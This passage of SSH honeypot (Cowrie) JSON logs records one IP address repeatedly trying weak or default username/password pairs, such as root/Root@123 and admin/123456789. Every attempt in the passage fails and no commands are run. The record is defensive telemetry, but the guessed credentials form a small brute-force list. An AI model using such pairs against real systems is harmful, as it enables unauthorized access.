SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:51.724707Z","src_ip":"192.109.200.237","session":"24ffdfdda7b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:51.970019Z","src_ip":"192.109.200.237","session":"24ffdfdda7b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:53.054666Z","src_ip":"192.109.200.237","session":"24ffdfdda7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53426,"dst_ip":"159.203.135.109","dst_port":22,"session":"aff48bb6b7ad","protocol":"ssh","message":"New connection: 192.109.200.237:53426 (159.203.135.109:22) [session: aff48bb6b7ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:54.745294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:54.750293Z","src_ip":"192.109.200.237","session":"aff48bb6b7ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:54.872107Z","src_ip":"192.109.200.237","session":"aff48bb6b7ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:55.171367Z","src_ip":"192.109.200.237","session":"aff48bb6b7ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:56.258291Z","src_ip":"192.109.200.237","session":"aff48bb6b7ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53432,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba92d5887b0a","protocol":"ssh","message":"New connection: 192.109.200.237:53432 (159.203.135.109:22) [session: ba92d5887b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:57.912716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:57.917360Z","src_ip":"192.109.200.237","session":"ba92d5887b0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:58.000041Z","src_ip":"192.109.200.237","session":"ba92d5887b0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:58.247436Z","src_ip":"192.109.200.237","session":"ba92d5887b0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:56:59.332829Z","src_ip":"192.109.200.237","session":"ba92d5887b0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37190,"dst_ip":"159.203.135.109","dst_port":22,"session":"01c46ce4202b","protocol":"ssh","message":"New connection: 192.109.200.237:37190 (159.203.135.109:22) [session: 01c46ce4202b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:00.971866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:00.978291Z","src_ip":"192.109.200.237","session":"01c46ce4202b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:01.069955Z","src_ip":"192.109.200.237","session":"01c46ce4202b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456789","message":"login attempt [user1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:01.316813Z","src_ip":"192.109.200.237","session":"01c46ce4202b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:02.479504Z","src_ip":"192.109.200.237","session":"01c46ce4202b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37192,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd75f7d01cb5","protocol":"ssh","message":"New connection: 192.109.200.237:37192 (159.203.135.109:22) [session: fd75f7d01cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:04.091552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:04.096564Z","src_ip":"192.109.200.237","session":"fd75f7d01cb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:04.178877Z","src_ip":"192.109.200.237","session":"fd75f7d01cb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:04.425456Z","src_ip":"192.109.200.237","session":"fd75f7d01cb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:05.511287Z","src_ip":"192.109.200.237","session":"fd75f7d01cb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37198,"dst_ip":"159.203.135.109","dst_port":22,"session":"0619c6835a05","protocol":"ssh","message":"New connection: 192.109.200.237:37198 (159.203.135.109:22) [session: 0619c6835a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:07.334347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:07.338716Z","src_ip":"192.109.200.237","session":"0619c6835a05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:07.422778Z","src_ip":"192.109.200.237","session":"0619c6835a05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:07.672788Z","src_ip":"192.109.200.237","session":"0619c6835a05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:08.760500Z","src_ip":"192.109.200.237","session":"0619c6835a05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54934,"dst_ip":"159.203.135.109","dst_port":22,"session":"48c72619223a","protocol":"ssh","message":"New connection: 192.109.200.237:54934 (159.203.135.109:22) [session: 48c72619223a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:10.419145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:10.423497Z","src_ip":"192.109.200.237","session":"48c72619223a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:10.505480Z","src_ip":"192.109.200.237","session":"48c72619223a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:10.757401Z","src_ip":"192.109.200.237","session":"48c72619223a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:11.846753Z","src_ip":"192.109.200.237","session":"48c72619223a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54936,"dst_ip":"159.203.135.109","dst_port":22,"session":"973d521da913","protocol":"ssh","message":"New connection: 192.109.200.237:54936 (159.203.135.109:22) [session: 973d521da913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:13.487530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:13.492379Z","src_ip":"192.109.200.237","session":"973d521da913","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:13.577311Z","src_ip":"192.109.200.237","session":"973d521da913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:13.823539Z","src_ip":"192.109.200.237","session":"973d521da913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:14.912494Z","src_ip":"192.109.200.237","session":"973d521da913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54946,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9f1a9e86bbc","protocol":"ssh","message":"New connection: 192.109.200.237:54946 (159.203.135.109:22) [session: f9f1a9e86bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:16.522381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:16.526418Z","src_ip":"192.109.200.237","session":"f9f1a9e86bbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:16.608301Z","src_ip":"192.109.200.237","session":"f9f1a9e86bbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:16.995896Z","src_ip":"192.109.200.237","session":"f9f1a9e86bbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:18.080899Z","src_ip":"192.109.200.237","session":"f9f1a9e86bbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54960,"dst_ip":"159.203.135.109","dst_port":22,"session":"7193f5ac6207","protocol":"ssh","message":"New connection: 192.109.200.237:54960 (159.203.135.109:22) [session: 7193f5ac6207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:19.767701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:57:19.775942Z","src_ip":"192.109.200.237","session":"7193f5ac6207","protocol":"ssh"}
